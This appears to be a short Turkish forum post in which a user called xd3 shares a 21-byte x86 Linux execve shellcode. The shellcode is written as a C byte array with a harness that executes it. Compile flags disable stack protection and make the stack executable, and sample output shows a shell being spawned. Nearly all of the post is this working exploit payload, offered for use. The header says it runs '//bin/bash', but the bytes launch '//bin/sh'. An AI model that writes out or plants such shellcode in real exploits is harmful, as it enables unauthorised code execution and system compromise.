#Gecmise Donus \w xd3.
Not: Disassembly sonucunda yapilan kucuk duzenlemeler sonucunda o gunden kaldigi gibidir.
Not: Disassembly sonucunda yapilan kucuk duzenlemeler sonucunda o gunden kaldigi gibidir.
Kod:
[COLOR="White"]/*
* ::execve("//bin/bash") Shellcode
* __author__: xd3
* __date__: 15/7/8
* __format__: ELF 32 Bit
* __platform__: x86/Linux
* __size__: 21 Bytes
*
*/
/* Usage:
*
* $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
* $ ./xd3
* [~] Byte-Code Len: 21
* bash-3.2$ exit
* $
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\x31\xc0\x31"
"\xc9\x50\x68"
"\x6e\x2f\x73"
"\x68\x68\x2f"
"\x2f\x62\x69"
"\x89\xe3\xb0"
"\x0b\xcd\x80";
int main(){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
int (*sh3llc0de)();
sh3llc0de = (int (*)()) xd3;
(int)(*sh3llc0de)();
}
[/COLOR]